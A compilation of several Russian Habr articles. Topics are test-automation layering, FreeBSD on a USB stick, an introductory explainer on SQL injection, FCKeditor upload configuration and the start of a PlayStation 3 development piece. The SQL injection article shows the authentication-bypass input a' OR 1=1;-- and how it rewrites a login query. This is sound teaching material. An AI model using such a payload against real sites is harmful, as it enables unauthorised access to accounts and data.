Инкапсулированный код позволяет исправлять ошибки, повышать производительность и добавлять возможности по мере необходимости. Однако необходимо позаботиться о надлежащем сохранении существующего поведения инкапсуляции, чтобы имеющиеся пользователи этой инкапсуляции не пострадали и не нуждались в изменении действующего кода.
В качестве примера инкапсуляции рассмотрим базовую структуру данных, называемую [очередью](https://en.wikipedia.org/wiki/Queue_(abstract_data_type)). Предположим, что вы имплементируете очередь с помощью [связанного списка](https://en.wikipedia.org/wiki/Linked_list), что является подходящей имплементацией очереди во многих случаях. Предположим, однако, что требования изменились, и вам нужно добавить в очередь функцию, позволяющую осуществлять поиск из ее конца.
Связанные списки по умолчанию являются односвязными, это означает, что поиск из конца списка неэффективен, особенно если они очень длинные или для сравнения элементов списка требуется много времени. Структура данных, в которой поиск с конца является более эффективным, — это [двусвязный список](https://en.wikipedia.org/wiki/Doubly_linked_list).
Инкапсулированная имплементация означает, что переход на двусвязный список не окажет влияния на существующих пользователей имплементации очереди, и при этом позволит осуществлять более эффективный обратный поиск.
### Перемещение атрибутов в общую структуру
*Абстрагирование* — это практика переноса определенных атрибутов структур данных в более общую структуру; она может затем использоваться при составлении специфических структур данных.
Абстракцию лучше всего объяснить на классическом примере, связанном с животными.
Собаки, нутрии и утконосы имеют несколько общих черт: у них есть некоторое количество ног, они могут слышать и видеть и т.д. Вы можете определить эти общие черты, эти атрибуты, в структуре данных, которая является общей для всех этих или других животных.
Одним из возможных названий для этой абстракции может быть «животные, у которых есть ноги»; для краткости в программировании вы можете назвать эту структуру данных LeggedMammals или любым другим именем, которое будет соответствовать вашей области применения.
Для определенных животных (собак, нутрий и утконосов) можно добавить свою специфическую имплементацию атрибутов или сохранить общую имплементацию, используя механизм, соответствующий вашим парадигмам проектирования и программирования. Абстрактная имплементация позволяет определить общие атрибуты в одном месте и обеспечивает более универсальный интерфейс при работе с произвольной LeggedMammal.
*[ Специальный выпуск:* [*STPCon Fall Boston 2019*](https://techbeacon.com/tags/special-coverage-stpcon-2019) *]*.
### Наложение уровней
Применение инкапсуляции и абстракции в имплементации автоматизации позволяет распределить компоненты автоматизации по уровням — дискретным разделам с четко определенными возможностями.
Кроме того, вы можете построить эти уровни таким образом, чтобы каждый из них опирался на возможности предыдущего; таким образом вы создаете стек автоматизации. На рисунке ниже показана концептуальная модель этого стека.
Рисунок 1. Концептуальная модель стека автоматизации.Каждый уровень имеет определенное назначение.
#### Уровень необработанных инструментов
Данный уровень не требует пояснений; он представляет фактические инструменты, которые вы используете для управления тестируемой системой (system under test, SUT). Примерами необработанных инструментов являются Selenium, Watir и REST Assured. Необработанные инструменты могут также представлять собой API, которые управляют аппаратным обеспечением сторонних производителей и встроенным оборудованием, которое может быть как вендорным, так и проприетарным.
#### Уровень абстракции и инкапсуляции
Этот уровень оборачивает необработанные инструменты; к уровню необработанных инструментов нет доступа ни у одного уровня, кроме абстракции и инкапсуляции. Этот уровень дополняет собственные возможности уровня необработанных инструментов и защищает его от изменений в имплементации, включая возможные изменения в используемом необработанном инструменте. Он также может защитить от изменений в исходных инструментах, которые могут негативно повлиять на более высокие уровни.
#### Уровень действий
Он предоставляет специфичные для конкретной области атомарные и почти атомарные действия, которые напрямую соответствуют операциям, необходимым для манипулирования тестируемой системой.
Например, если вы автоматизируете взаимодействие с браузером, действием может быть «найти ссылку для входа и нажать на нее», что может привести к программному вызову типа: `browser.LoginLink.Click()`.
Если вы автоматизируете конечную точку REST, действие может быть таким: «выполнить GET для получения номера телефона пользователя», что может привести к программному вызову, например: `endpoint.GetPhoneNumber(UserData)`.
#### Поведенческий уровень
Как правило, это сгруппированные последовательности действий и других видов поведения. Эти последовательности представляют собой шаги, которые пользователь тестируемой системы будет выполнять как часть этого пользовательского поведения.
Примером может служить поведение при входе в систему. Оно может состоять из следующих шагов:
1. Кликнуть на ссылку входа в систему
2. Ввести имя пользователя
3. Ввести пароль
4. Нажать кнопку ввода и
5. Проверить успешный вход
В результате программный вызов может выглядеть следующим образом:
```
browser.LogMeIn("myid", "mypassword")
```
#### Уровень скриптов
Это тестовые скрипты, которые традиционно ассоциируются с автоматизацией тестирования. Они вызывают действия и модели поведения для автоматизации этих действий.
### Преимущества и предостережение
Преимущества этого многоуровневого подхода те же самые, которые разработчики приложений получают от применения таких же основных принципов разработки программного обеспечения. Они предусматривают защиту от будущих изменений в имплементации инкапсуляций, наличие одного или очень небольшого количества мест для модификации конкретного алгоритма или потока, а также повторное использование кода.
Каждое из этих преимуществ помогает снизить стоимость сопровождения, на которое тратится основная часть усилий по внедрению автоматизации.
Имплементация стека автоматизации также обеспечивает совместимость с различными фреймворками. Если вы не привязываете нижние части стека автоматизации к определенному фреймворку, то ваш стек можно использовать в нескольких фреймворках.
Это дает пользователям фреймворка больше возможностей при выборе подходящей имплементации для автоматизации. Отсутствие привязки позволяет вам использовать свой стек и [вне традиционной автоматизации на основе тестовых примеров](https://www.stickyminds.com/article/heresy-automation-does-not-require-test-cases). [Стеки, которые мы используем в Magenic](https://github.com/Magenic/MAQS), построены именно таким образом.
Поскольку ничто не идеально, есть одна большая оговорка. Создание программного обеспечения таким способом предварительно потребует от вас значительных затрат времени и усилий; в противном случае вы рискуете получить необслуживаемую массу кода. Если вам нужна быстрая победа или необходимо показать результаты "в ближайшее время", то следует попытаться сузить фокус вашего стека или использовать другой подход, по крайней мере, на начальном этапе.
### Использование многоуровневой модели
Важно отметить, что **стековый подход не является подходом, ориентированным только на графический интерфейс (GUI-only)**; это распространенное заблуждение. Если вы просмотрите примеры, приведенные выше для каждого уровня концептуальной модели, то увидите примеры как с графическим интерфейсом, так и без него.
Представленная здесь модель развивалась в течение последних 20 лет. Стековый подход использовался для автоматизации в телекоммуникациях, электронной коммерции, здравоохранении, финансовых технологиях и производстве; и в каждой из этих моделей доказал свою концептуальную состоятельность.
При этом данная модель не претендует на то, чтобы быть предписывающей. Я призываю вас ее изучить, использовать там, где она уместна, и модифицировать, чтобы сделать более подходящей для ваших собственных целей.
---
> Материал подготовлен в рамках курса ["JavaScript QA Engineer"](https://otus.pw/OsEI/). Если вам интересно узнать подробнее о формате обучения и программе, познакомиться с преподавателем курса — приглашаем на [день открытых дверей](https://otus.pw/9hyq/) онлайн. Регистрация [**здесь**](https://otus.pw/9hyq/).
>
> | https://habr.com/ru/post/571210/ | null | ru | null |
# Установка FreeBSD на флешку для seedbox машины
На многие домашние seedbox'ы довольно часто ставятся старые жесткие диски, из принципа «не жалко». Важных данных туда все равно не пишется, и когда они помирают, ничего страшного не происходит, за исключением проблем с перестановкой ОС.
Для минимизирования риска смерти ОС, можно вынести ее на отдельный физический носитель. Один из вариантов — на маленькую флешку. Речь дальше пойдет об установке и настройке FreeBSD (7.0-8.0) на флешке.
#### Размер флешки
Исходя из моих экспериментов, в 200 мегабайт (на 256 меговую флешку) легко влезает вполне рабочий роутер с dhcp/dns/vpn сервером. При этом из ядра выкидываются все ненужные драйвера, а также опции отладки и профилирования, а из мира убираются manы. Конечно, исходники (/usr/src) и порты (/usr/ports) туда не поместятся, но их можно без особых проблем монтировать и с другого носителя.
Под роутер с функциями seedbox лучше иметь флешку побольше, поскольку там потребуется и apache, и perl, и php. Для данного примера возьмем глючную флешку на 4 гигабайта :).
#### Проблемы с надежностью
Поскольку флешки очень не любят перезапись секторов, [гайдбук](http://www.freebsd.org/doc/en/articles/solid-state/index.html) рекомендует монтировать корень только на чтение, а все разделы, требующие доступа на запись, выносить в память. Таким образом, /var будет смонтирован как диск в оперативной памяти и каждая перезагрузка будет удалять все его содержимое.
#### Подготовка разделов
Установку удобнее всего делать из под FreeBSD (я делал с виртуалки), в которой уже собрано нужное вам ядро и мир.
Итак, вставляем флешку, смотрим как она определилась в dmesg (далее da0). Для начала флешку надо отформатировать. Создаем flash\_disk.proto:
> `# slice type start length
>
> # создаем два слайса
>
> p 1 0xa5 63 1429722
>
> p 3 0xa5 2040255 6072570
>
> # делаем первый активным
>
> a 1`
Поскольку флешка у меня глючная (попытка чтения данных из участка между 700 и 1000 мегабайтами вызывает отваливание контроллера), то пространство у меня дробится на два слайса. С нормальной флешкой можно создавать один кусок на всю флешку.
Форматируем:
> `fdisk -f flash_disk.proto -i da0`
Создаем загрузчик:
> `# создаем MBR
>
> boot0cfg -B da0
>
> # по-умолчанию грузимся с первого slice
>
> boot0cfg -s 1 da0
>
> # запрещаем загрузчику перезаписывать себя
>
> boot0cfg -o noupdate da0`
Теперь разметим наш слайс. Создаем flash\_labels.proto:
> `# size offset fstype [fsize bsize bps/cpg]
>
> a: 1429722 0 4.2BSD 0 0 0
>
> c: * 0 unused 0 0 # "raw" part, don't edit`
Размечаем диск и создаем файловую систему:
> `# Размечаем в соответствии с созданным файлом
>
> bsdlabel -R da0s1 flash_labels.proto
>
> # Создаем файловую систему
>
> newfs -U da0s1a`
Монтируем наш слайс
> `mount /dev/da0s1 /mnt/flash`
#### Установка системы и портов
Чтобы каждый раз при make install не указывать путь, временно выставим DESTDIR флаг в make.conf на рабочей системе:
> `DESTDIR=/mnt/flash`
Теперь устанавливаем на флешку ядро, мир, системные конфиги и скрипты (etc):
> `cd /usr/src
>
> make installkernel
>
> make installworld
>
> cd /usr/src/etc
>
> make distrib-dirs
>
> make distribution`
У меня в make.conf, помимо прочего, выключена сборка info и man (NO\_INFO=YES NO\_MAN=YES), поэтому, для нормальной установки портов на флешку, потребуется вручную поставить texinfo, как описано [здесь](http://www.cyberciti.biz/faq/freebsd-jail-makeinfo-not-found/).
> `cd /usr/src/gnu/usr.bin/texinfo
>
> make install`
После этого правим fstab на флешке:
> `# Device Mountpoint FStype Options Dump Pass#
>
> /dev/da0s1a / ufs ro 1 1
>
> md /tmp mfs rw,-s24M,noatime 0 0
>
> md /var mfs rw,-s128M,noatime` 0 0`
Поскольку /var будет смонтирован в памяти, необходимо перенести /var/db на флешку, чтобы данные об установленных портах не терялись между перезапусками. Для этого создаем ссылку:
> `mkdir /mnt/flash/etc/pkg
>
> ln -s ../../etc/pkg /mnt/flash/var/db/pkg`
Теперь можно настраивать систему на флешке, править конфиги и ставить порты с рабочей системы (необходимо только в resolv.conf на флешке прописать dns-сервера).
Например:
> `cd /usr/ports/net/isc-dhcp30-server
>
> make
>
> make install`
Флаг DESTDIR в make.conf укажет make install что ставить порт нужно на флешку.
#### Проблемы с dns-сервером named
По-умолчанию named запускается системой в песочнице (chroot'ом) в каталоге /var/named. Вынести этот каталог на флешку нельзя, поскольку named должен иметь возможность писать в свой маленький /var. Вариант, который использовал я, заключается в добавлении в rc.local копирования конфига named каждый раз при старте системы:
> `# копируем конфиг named
>
> mkdir -p /var/named/etc
>
> cp -Rp /usr/local/etc/namedb /var/named/etc
>
> /etc/rc.d/named start`
На мой взгляд, это несколько коряво и я с удовольствием выслушал бы другие варианты решения.
#### Загрузка установленной системы
Подключаем флешку к роутеру и выставляем в биосе загрузку с нее. На некоторых материнках возможен баг, когда флешка не успевает определиться к тому моменту, когда загрузчик начинает монтировать корень. Хак для данной проблемы описан в конце [этой](http://habrahabr.ru/blogs/bsdelniki/77722/) статьи на Хабре.
После загрузки системы можно продолжить ее настройку. Для этого достаточно перемонтировать корень на запись:
> `mount -uw /`
После внесения нужных изменений (установки портов/правки конфигов/добавления пользователей и т.д.) нужно вернуть корень в доступ только на чтение:
> `mount -ur /`
#### Полезные ссылки
* [FreeBSD and Solid State Devices](http://www.freebsd.org/doc/en/articles/solid-state/index.html)
* [FreeBSD System on USB flash stick](http://cabstand.com/usbflash.html)
* [miniBSD — reducing FreeBSD](https://neon1.net/misc/minibsd.html)
**UPDATE:** Как отметили в комментариях, нет смысла вручную монтировать /var и /tmp. В случае, если при загрузке /var и /tmp доступны только на чтение, будет автоматически вызван /etc/rc.initdiskless, который, по-умолчанию, смонтирует эти разделы в оперативную память. Поэтому из fstab можно убрать строчки про /var и /tmp, а в /etc/rc.conf добавить параметры для скрипта rc.initdiskless:
> `tmpmfs=true
>
> tmpsize=24M
>
> varmfs=true
>
> varsize=128M` | https://habr.com/ru/post/80480/ | null | ru | null |
# Первое знакомство с SQL-инъекциями
SQL-инъекции (SQL injection, SQLi, внедрение SQL-кода) часто называют самым распространённым методом атак на веб-сайты. Их широко используют хакеры и пентестеры в применении к веб-приложениям. В списке уязвимостей OWASP Топ-10 присутствуют SQL-инъекции, которые, наряду с другими подобными атаками, находятся на первом месте среди угроз, с которыми сталкиваются веб-проекты.
Несмотря на то, что SQL-инъекции существуют уже более 20 лет, этот метод атаки на веб-проекты всё ещё можно успешно применить для взлома тех веб-сайтов и приложений, создатели которых не реализовали в них соответствующие защитные механизмы.
[](https://habr.com/ru/company/ruvds/blog/553066/)
Этот материал рассчитан на абсолютных новичков, на тех, кто ничего не знает о SQL-инъекциях. Начнём мы с разбора основ, в которых необходимо ориентироваться перед разговором о SQLi. А именно, сначала мы поговорим о реляционных базах данных. Потом — о SQL, и о формировании SQL-запросов. И наконец — о том, как работают SQL-инъекции, и о том, почему они так опасны для веб-приложений.
Реляционные базы данных
-----------------------
Прежде чем говорить о SQL (и о SQL-инъекциях), нам надо познакомиться с реляционными базами данных (БД).
В реляционной БД хранятся взаимосвязанные данные, которые часто размещаются в таблицах. Каждая таблица содержит набор столбцов и строк.
Вот, например, таблица, которая называется `users`.
*Таблица users*
Эта таблица содержит три столбца (их ещё называют атрибутами): `Id`, `User`, `Password`. Строки таблицы называют записями. В нашей таблице имеется две записи.
Беглый взгляд на эту таблицу позволяет сделать вывод о том, что в ней, вероятно, хранятся учётные данные пользователей некоей системы. После того, как пользователь вводит имя и пароль в форме аутентификации, веб-приложение сверяет эти данные с вышеприведённой таблицей. Именно после того, как данные пользователя найдены (или не найдены) в таблице, приложение узнаёт о том, следует ли, например, дать этому пользователю возможность работать с ресурсами проекта, предназначенными только для зарегистрированных пользователей.
Это — лишь простой пример. Реляционные базы данных обычно представляют собой гораздо более сложные конструкции, в состав которых входит множество таблиц, в каждой из которых имеется много атрибутов и записей (иногда их количество исчисляется миллионами). Таблицы могут быть связаны с другими таблицами.
На этом мы закончим разговор о реляционных базах данных, так как этого достаточно для того чтобы разобраться в том, о чём речь пойдёт дальше.
SQL
---
SQL (Structured Query Language, язык структурированных запросов) — это язык, который предназначен для работы с реляционными БД. С его помощью, взаимодействуя с базой данных, можно просматривать, добавлять, обновлять, удалять данные.
### ▍Основные SQL-выражения
Веб-приложение взаимодействует с базой данных, пользуясь SQL-выражениями. Каждое такое выражение начинается с некоей команды.
Вот пример, который поможет нам разобраться в синтаксисе подобных выражений:
```
SELECT * FROM users;
```
Здесь SQL-выражение начинается с команды `SELECT`, которая позволяет извлекать данные из БД.
За командой `SELECT` идёт символ звёздочки (`*`). Тут он олицетворяет все столбцы таблицы. Это значит, что мы хотим извлечь данные из всех столбцов.
Если вы хоть немного понимаете английский, то ключевое слово `FROM` в дополнительных пояснениях не нуждается.
И, наконец, `users` — это имя таблицы, из которой мы хотим извлечь данные.
Если «перевести» вышеприведённое SQL-выражение на обычный язык, то получится следующее:
```
Получить данные всех столбцов из таблицы users.
```
Давайте теперь сделаем вышеописанное SQL-выражение немного интереснее:
```
SELECT * FROM users WHERE user=’Fyodor’;
```
В данном случае мы указываем на то, что хотим получить лишь запись, в поле `user` которой имеется имя пользователя `Fyodor`. Все остальные записи таблицы нас не интересуют.
Пока то, о чём мы тут говорим, может показаться не таким уж и интересным. Но это — лишь до тех пор, пока мы не добрались до следующего раздела, посвящённого SQL-инъекциям.
### ▍Команды и ключевые слова SQL
Теперь, в завершение этого раздела, хочу рассказать о некоторых наиболее часто используемых командах и ключевых словах SQL. Для того чтобы понять то, о чём речь пойдёт дальше, знать все эти команды и ключевые слова вам необязательно, но я настоятельно рекомендую вам поближе с ними познакомиться после того, как вы дочитаете эту статью.
* `SELECT`: получение данных из таблицы.
* `INSERT INTO`: добавление записи в таблицу.
* `UPDATE`: обновление содержимого записи таблицы.
* `DELETE`: удаление записи из таблицы.
* `CREATE TABLE`: создание новой таблицы.
* `WHERE`: фильтрация записей по заданному условию.
* `ORDER BY`: сортировка данных, полученных с помощью `SELECT`.
Теперь, разобрав основы, переходим к нашей основной теме.
SQL-инъекции
------------
Как уже было сказано, SQL-инъекции — это разновидность атаки на веб-приложения. В ходе проведения такой атаки делается попытка модификация SQL-выражения, которое приложение отправляет базе данных. Выполняется атака путём подстановки особым образом подготовленных данных в поля ввода, которые может заполнять пользователь.
Для того чтобы вышесказанное стало бы понятнее — рассмотрим пример.
### ▍Простая атака с использованием SQL-инъекции
Предположим, имеется форма аутентификации, которая предлагает пользователю ввести в её поля имя и пароль. Приложение предоставляет пользователям доступ к закрытым ресурсам после проверки введённых данных. Если говорить точнее, то приложение отправляет к базе данных SQL-запрос, направленный на проверку наличия там тех данных, которые ввёл пользователь. Используемое при этом SQL-выражение может выглядеть примерно так:
```
SELECT * FROM users WHERE username=’ProvidedUsername’ and password=’ProvidedPassword’;
```
Если вы внимательно читали статью, то вы без труда поймёте эту конструкцию. Она извлекает из таблицы `users` все записи, фильтруя их по имени пользователя (поле `username`) `ProvidedUsername` и по паролю (`password`) `ProvidedPassword`. Если в таблице имеется запись, удовлетворяющая этим двум условиям — это значит, что пользователь ввёл верные имя и пароль. Приложение, в результате, даст такому пользователю доступ к закрытым ресурсам.
Теперь представьте, что вместо того, чтобы ввести в поле формы имя, пользователь вводит туда следующее:
```
a’ OR 1=1;--
```
А затем, в качестве пароля, вводит произвольный набор символов (то, что будет введено в поле для пароля, значения не имеет; ниже мы с этим разберёмся).
После этого приложение формирует такое SQL-выражение:
```
SELECT * FROM users WHERE username=’a’ OR 1=1;--’ and password=’RandomPass’;
```
База данных, обрабатывая такой запрос, вернёт любую запись из таблицы `users`, в поле `username` которой находится `a`. Запись будет возвращена и в том случае, если истинным является выражение `1=1`.
Но выражение `1=1` всегда истинно, поэтому этот запрос приведёт к получению всех записей из таблицы.
Кроме того, так как два дефиса в SQL используются для оформления однострочных комментариев, всё, что идёт после них, окажется закомментированным, то есть — соответствующие команды базой данных обрабатываться не будут. Если выделить ту часть SQL-запроса, которая будет выполнена базой данных, то получится следующее:
```
SELECT * FROM users WHERE username=’a’ OR 1=1;--’ and password=’RandomPass’;
```
База данных, обрабатывая этот запрос, вернёт список записей, не являющихся NULL-значениями, и, в результате, веб-приложение даст пользователю доступ к закрытым ресурсам.
Итоги
-----
Мы рассмотрели лишь один пример SQL-инъекции. Но существует и множество других способов внедрения SQL-кода в веб-приложения. Если вы хотите посмотреть больше примеров — рекомендую взглянуть на [этот](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/) материал, опубликованный на сайте Netsparker, и на [этот](https://portswigger.net/web-security/sql-injection/cheat-sheet) материал с сайта PortSwigger.
Если вы хотите попрактиковаться в деле выполнения атак на веб-приложения с использованием SQL-инъекций — попытайте удачу в [варгейме](https://overthewire.org/wargames/natas/) Natas на OverTheWire. Если вы не знаете о том, что это такое — [вот](https://patchthenet.com/articles/overthewire-learn-hacking-by-playing-games/) моя статья об этом.
Как вы защищаете свои веб-проекты от SQL-инъекций?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=pervoe_znakomstvo_s_sql-inekciyami) | https://habr.com/ru/post/553066/ | null | ru | null |
# Настройка просмотра и загрузки файлов в FCKeditor
В данной статье описываются отдельные приемы настройки редактора FCKeditor и встроенного в него файлового браузера для управления загрузкой файлов на сервер. Эти приемы помогут лучше понять принципы работы редактора и более тесно интегрировать его в вашу CMS, заодно предотвратив возможные проблемы с безопасностью при использовании этого редактора.
Общую информацию о редакторе FCKeditor вы можете найти на его официальном сайте [www.fckeditor.net](http://www.fckeditor.net/). Вкратце: это WYSIWYG-редактор, написанный на JavaScript и поддерживающий работу с серверными скриптами на различных языках программирования (perl, php, python, asp). Далее везде я буду иметь ввиду язык **php**, однако все сказанное легко адаптируется для других языков. Редактор отлично работает в большинстве современных браузеров (IE 6 +, FF 1.5+, Opera 9.5), имеет богатый функционал и хорошо документированный код, что позволяет вносить в него правки для адаптации к конкретным требованиям CMS, в которой он используется. Это не реклама, а объяснение, почему я использую данный редактор и решил написать эту статью :)
Помимо всего прочего редактор позволяет вставлять в редактируемый текст различные объекты: изображения, Flash-ролики, мультимедиа-файлы, а также ссылки на произвольные файлы с сервера. Для этого используются два диалога: вставки и свойств объекта (на примере изображения, см. первый слайд) и браузер ресурсов (см. второй слайд). На слайдах я выделил органы управления, которые будут упоминаться в тексте. Диалог вставки вызывается при нажатии на кнопки вставки изображения, он реализует две важные для нас функции: загрузить файл изображения на сервер и вызвать окно браузера ресурсов. Возможность выполнения этих функций и ряд параметров (расположение загружаемых файлов на сервере, допустимые расширения файлов и т.п.) описываются в файлах конфигурации.
**Вставка и редактирование свойств объекта**
**Диалог браузера ресурсов**
Далее определимся: речь пойдет про FCKeditor версии **2.6.3**, которая была последней на момент написания статьи.
Главный файл конфигурации редактора называется `fckconfig.js` и находится в корневом каталоге редактора (для определенности будем считать, что редактор у нас находится в подкаталоге /fcke/ корня сайта). В нем нас интересуют строки с 284 по 312, где описываются настройки загрузки файлов различных типов различным способом. Поля LinkBrowser, ImageВrowser и FlashBrowser определяют, будет ли в соответствующем диалоге отображаться кнопка «Просмотреть на сервере», открывающая диалог браузера ресурсов. Поля LinkUpload, ImageUpload, FlashUpload определяют наличие в соответствующем диалоге закладка «Закачать» для быстрой загрузки соответствующего файла. Установив нужные вам поля в false, вы отключите показ соответствующих элементов интерфейса.
Однако, как вы знаете и всегда должны помнить, любую клиентскую настройку при должном старании пользователь всегда может поменять помимо вашей воли, поэтому я не зря уточнил, что предыдущие настройки больше влияют на интерфейс, а не на реальные ограничения загрузки и просмотра файлов на сервере. Поэтому основные настройки доступа управляются через конфигурацию серверных скриптов.
Скрипты, управляющие просмотром и загрузкой файла на сервер, лежат в подпапке `editor/filemanager/connectors/LANGUAGE`, где LANGUAGE — язык скриптов на сервере. Мы, как я уже говорил, будем рассматривать настройки на примере PHP. Неиспользуемые коннекторы лучше вообще стереть из соображений безопасности и просто уменьшения занимаемого места. В каталоге коннектора лежит файл конфигурации, в нашем случае это `config.php`. Этот файл содержит все необходимое для настройки загрузки файлов.
1. Строка 30. Здесь главный «выключатель» коннектора, снабженный, как положено, грозным предупреждением, что включать его можно только все правильно настроив, иначе получите большую дыру в безопасности сайта. Чтобы коннектор вообще заработал, в этой строке, понятное дело, нужно написать = true.
2. Строка 34. Указывается относительный URL папки с ресурсами, управляемыми данным коннектором.
Здесь настало время разобраться, как нам управлять доступом к браузеру ресурсов в соответствии с правами посетителей сайта. Если мы используем редактор в однопользовательской CMS (когда все, кто смог получить доступ к каталогу редактора, имеют право грузить на сайт все, что угодно), то достаточно настроить все для администратора сайта и запретить доступ остальным (например, на уровне web-сервера). Но если редактор будет использоваться для написания записей в персональных блогах, то нужно во-первых запретить работу коннектора для неавторизованных пользователей, а во-вторых разделить папки для загрузки файлов разными пользователями.
Файл конфигурации используется при обращении web-страницы браузера ресурсов к коннектору. Поэтому единственным выходом будет включение в этот файл вызова вашего собственного скрипта, который будет проверять авторизацию пользователя (по cookie, например) и включать-выключать коннектор, а заодно указывать правильный путь.
Пример кода:
```
global $Config;
require('my_auth_script.php');
$currentUser = GetCurrentUser();
if($currentUser)
{
$Config['Enabled'] = true;
$Config['UserFilesPath'] = "/userfiles/$currentUser/";
}
else
{
$Config['Enabled'] = false;
$Config['UserFilesPath'] = '';
}
```
Далее по по файлу...
3. Строка 40. Здесь указывается путь к той же папке с ресурсами, но с точки зрения файловой системы. Если оставить этот путь пустым, он будет определяться с помощью вызова функции из API web-сервера (в случае PHP это [apache\_lookup\_uri](http://ru2.php.net/manual/ru/function.apache-lookup-uri.php "Справочник по функциям PHP"), возвращающая информацию об объекте по заданному URI). Если у вас на сервере настроен mod\_rewrite в каталоге, на который указывает 'UserFilesPath', нужно заполнить это поле т.к. запрос через web-сервер будет выполнен с учетом mod\_rewrite и может привести совсем не туда, куда нужно.
4. Строка 54. Здесь перечисляются типы ресурсов, с которыми умеет работать браузер ресурсов. Запомните эти названия, они будут упоминаться в следующем блоке настроек.
5. Строки 123 — 149. Здесь перечисляются блоки настроек для каждого из типов ресурсов. Настройки объединены в группы, состав групп одинаков, поэтому рассмотрим только одну из них. Комментарии перед блоками подробно описывают назначение полей, поэтому мое описание является большей частью переводом и пересказом этого комментария своими словами.
* 'AllowedExtensions' — расширения фалов, которые разрешено загружать на сервер для данного типа ресурсов. Тип ресурса, кстати, выбирается из списка в верхнем левом углу браузера ресурсов (см. второй слайд).
* 'DeniedExtensions' — список расширений файлов, запрещенных для загрузки. Использовать имеет смысл только один из этих двух списков.
Вначале проверяется, если список разрешенных расширений не пустой и расширение загружаемого файла в нем *отсутствует*, файл не принимается. Затем проверяется, если список запрещенных расширений не пустой и расширение загружаемого файла в нем *присутствует*, файл не принимается. Чтобы отключить возможность загрузки какого-либо типа ресурсов можно указать в 'AllowedExtensions' массив из одного элемента "\*", т.к. ни один из загружаемых файлов не будет подходить под это расширение. Также можно настраивать допустимые расширения в зависимости от прав пользователя, как уже было описано чуть выше.
Далее идут настройки путей для размещения файлов. Видим, что настройки путей к каталогам формируются из глобальных путей (заданных в строках 34 и 40) добавлением к ним соответствующего подкаталога. Но ничто не мешает вам задать эти пути напрямую, строковыми константами. Кстати, глобальные путь больше ни для чего не используются, кроме формирования путей для каждого типа ресурса (это просто к сведению, чтобы вы не боялись менять их, как вам надо).
* 'FileTypesPath' — это URL каталога, куда файл будет загружен *через браузер ресурсов*.
* 'FileTypesAbsolutePath' — тот же каталог, с точки зрения файловой системы. Правила для этой настройки те же, что и для глобальной 'UserFilesAbsolutePath' — автоматический поиск пути, если вы ничего не зададите в этом поле.
* 'QuickUploadPath' — URL каталога, в который файл будет загружен *через вкладку «Закачать»* диалога вставки объекта (ссылки, изображения, Flash-ролика).
* 'QuickUploadAbsolutePath' — путь в файловой системе к тому же каталогу.
Обратите внимание (это также описано в комментарии), что по умолчанию этот каталог отличается от того, который задается значением поля 'FileTypesPath' (написано, что для обратной совместимости), поэтому рекомендуется отредактировать строки 'QuickUploadPath' и 'QuickUploadAbsolutePath', чтобы они указывали на тот же каталог, что и 'FileTypesPath' и 'FileTypesAbsolutePath' соответственно:
```
foreach($Config['ConfigAllowedTypes'] as $resType)
{
$Config['QuickUploadPath'][$resType]
= $Config['FileTypesPath'][$resType];
$Config['QuickUploadAbsolutePath'][$resType]
= $Config['FileTypesAbsolutePath'][$resType];
}
```
в конце файла настроек, а строки присваивания значения полям 'QuickUploadPath' и 'QuickUploadAbsolutePath' просто убрать. Иначе вы можете столкнуться с неприятным эффектом — загруженные через вкладку «Закачать» файлы не будут видны по кнопке «Просмотреть на сервере».
И напоследок небольшой бонус. Дело в том, что богатые функции браузера, встроенного в FCKeditor, можно использовать не только в редакторе, но и отдельно.
Для просмотра и управления файлами изображений необходимо создать окно (например, вызвав JavaScript-функцию `window.open` по нажатию кнопки), открыв в нем страницу со следующим URL: `/fcke/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/php/connector.php`
В открывающем окне должна быть JS-функция
```
function SetUrl( url )
{
}
```
которая будет вызвана, когда пользователь щелкнет на файле изображения, соответствующий URL будет передан в эту функцию.
Если вы хотите позволить пользователю просматривать все категории файлов, а не только изображения, уберите параметр `Type=Image` из приведенного выше URL браузера. Тогда в выпадающем списке типов файлов появятся все типы, перечисленные в файле конфигурации коннектора (строка 54).
Надеюсь, приведенная информация была вам полезна. Готов к конструктивному диалогу и обоснованной критике :) | https://habr.com/ru/post/39054/ | null | ru | null |
# Архитектура PlayStation 3, часть 4: Борьба с пиратством
PlayStation 3 Reference Tool (модель DECR-1000), которая
использовалась при разработке игр.→ [Часть 1: Cell](https://habr.com/ru/post/586752/)
→ [Часть 2: RSX](https://habr.com/ru/post/586970/)
→ [Часть 3: Три "ОС"](https://habr.com/ru/post/586996/)
→ **Часть 4: Борьба с пиратством**
*Примечание переводчика:*
*Эта часть является последней в данной серии переводов. По сути, осталось рассказать про игры (а точнее, их разработку и распространение) и борьбу с пиратством (для многих, пожалуй, самое интересное). Поэтому оба раздела были объединены в эту часть, чтобы весь переведенный материал не пропадал впустую.*
*Приятного чтения!*
7. Игры
-------
Этот раздел охватывает темы, связанные с разработкой, распространением и обслуживанием игр.
### 7.1. Экосистема разработки ПО
Поскольку эта консоль объединяет в себе технологии различных компаний, включая продукты, которые уже продаются на других рынках (например, GPU-линейка GeForce 7 от Nvidia для ПК), то разработчики были завалены множеством различных инструментов для разработки своего ПО. Это не означает, что разработка была легкой, но это было лучше того, что было во [времена ассемблера](https://classic.copetti.org/writings/consoles/master-system/#games).
Для программирования Cell IBM и Sony выпустили отдельные пакеты разработки. IBM делала пакеты для свободных сред, таких как Linux (и OtherOS). Инструменты Sony, напротив, явно нацелены на GameOS в качестве единственной среды выполнения.
IBM бесплатно распространяла пакет **IBM Cell SDK** [[66]](https://classic.copetti.org/writings/consoles/playstation-3/#bib:games-cell_programming). Он включал в себя **набор инструментов GCC**, модифицированных для создания бинарных файлов для PPU и SPU. Набор позволял разрабатывать на C, C++, Fortran и языке ассемблера. Набор также являлся кросс-платформенным, позволяя компилировать код с другого оборудования (например, с ПК на x86). SDK также включал в себя библиотеки низкого уровня для облегчения математических SIMD-операций и управления SPU-PPU. Наконец, он включал в себя форк среды разработки **Eclipse**.
Чтобы облегчить сложность разработки Cell, IBM также разработала ещё один (но недолговечный) компилятор **XLCL**, который компилирует код **OpenCL** (вариант C/C++ для параллельных вычислений) для PPU и SPU. Он распространялся только через канал IBM Alphawork, означая, что компилятор оставался экспериментальным.
